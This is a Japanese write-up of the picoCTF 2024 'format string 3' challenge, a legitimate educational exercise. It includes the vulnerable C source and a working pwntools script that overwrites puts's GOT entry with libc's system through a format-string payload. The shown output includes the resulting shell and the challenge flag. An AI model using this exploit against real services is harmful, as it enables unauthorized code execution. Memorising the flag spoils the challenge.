picoCTF 2024 writeup format string 3

## format string 3 (Binary Exploitation)

This program doesn't contain a win function. How can you win?
Download the binary here.
Download the source here.
Download libc here, download the interpreter here. Run the binary with these two files present in the same directory.
Connect with the challenge instance here: `nc rhea.picoctf.net 62604`

添付ファイル
・format-string-3
・format-string-3.c
・libc.so.6
・ld-linux-x86-64.so.2

とりあえず、実行してみる。
```
$ nc rhea.picoctf.net 62604
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x70d1ea0353f0
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
ea193963fbad208bbe8f8701000000000000000000000000000000000782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825a0000000000000000000000000
/bin/sh
```
```
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
```
ソースコードを見る。
```c
#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}
```
おそらく、Format String Atackを用いて最後のputs関数のアドレスをフラグを出力しそうな関数のアドレスに書き換えることで、フラグが出力されるようにするのであろう。libcが配布されているので、system関数のアドレスに書き換えれば、シェルが起動できてフラグを取得できそうである。
(libcについて調べていたら、Return-to-libc attackというものを見つけた。)
GOT Overwriteというらしい。
setvbufのアドレスが実行するたびに変わるため、ASLR(Address Space Layout Randomization)が有効になっていると考えられる。この場合、アドレスの下3桁(下位3nibble)は一定であるため、実行したときに出力されるsetvbufのアドレスを基準にフラグが出力される関数のアドレスを推定する。
libcを見てフラグに関係するところを探す。
```
$ nm -D libc.so.6

...
000000000007a3f0 W setvbuf@@GLIBC_2.2.5
...
00000000000f9a00 W sysconf@@GLIBC_2.2.5
0000000000157670 T sysctl@GLIBC_2.2.5
0000000000111c80 W sysinfo@@GLIBC_2.2.5
000000000010eef0 T syslog@@GLIBC_2.2.5
000000000004f760 W system@@GLIBC_2.2.5
000000000003f190 W sysv_signal@@GLIBC_2.2.5
0000000000104990 W tcdrain@@GLIBC_2.2.5
0000000000104a40 T tcflow@@GLIBC_2.2.5
0000000000104a60 T tcflush@@GLIBC_2.2.5
...
```
フラグが出力できそうな関数systemのアドレスは4f760、setvbufのアドレスは7a3f0。差分は、2ac90。
逆アセンブルしてputs関数が格納されているアドレスを確認。
```
  4012e3:       e8 b8 fd ff ff          call   4010a0 <printf@plt>
  4012e8:       48 8b 05 59 2d 00 00    mov    rax,QWORD PTR [rip+0x2d59]        # 404048 <normal_string>
  4012ef:       48 89 c7                mov    rdi,rax
  4012f2:       e8 89 fd ff ff          call   401080 <puts@plt>
```
putsは0x401080に格納されているらしい。しかし、`readelf -a format-string-3`で確認してみると、
```
Relocation section '.rela.plt' at offset 0x1668 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404018  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020  000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404030  000500000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
No processor specific unwind information to decode
```
上記のように、puts関数のアドレスは0x404018であった。
これを、setvbufのアドレスから2ac90を引いた数に書き換える。
以下、実行コード。
```python
from pwn import *

context.log_level = "critical"
context.arch='amd64'

p = remote("rhea.picoctf.net", 62604)

def exec_fmt(payload):
    p = remote('rhea.picoctf.net', 62604)
    p.sendline(payload)
    return p.recvall()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

p.recvline()
setvbuf_address = p.recvline()
#setvbuf_address = p.recvregex(b'0x*\n')
setvbuf_address = setvbuf_address[58:-1]
system_address = int(setvbuf_address, 16) - 0x2ac90
payload = fmtstr_payload(offset, {0x404018: system_address})

p.sendline(payload)

p.interactive()
```
実行する。
```
$ python solve.py 
                                                                                               c                      \x8b                                                      \x80                                        \x01                                                                                                 \x00      \x00aaaabaa\x18@@$                                                                                                                        l                                                                                                                                                                                                                                          ls                                                                                                                                                                                                                                         ls
Makefile
artifacts.tar.gz
flag.txt
format-string-3
format-string-3.c
ld-linux-x86-64.so.2
libc.so.6
metadata.json
profile
$ strings flag.txt
picoCTF{G07_G07?_d285a282}
```

フラグが得られた。

`picoCTF{G07_G07?_d285a282}`

# references

https://github.com/Gallopsled/pwntools-tutorial/tree/master
https://zenn.dev/iwancof/articles/cf612197b00c34
https://sok1.hatenablog.com/entry/2022/01/17/050556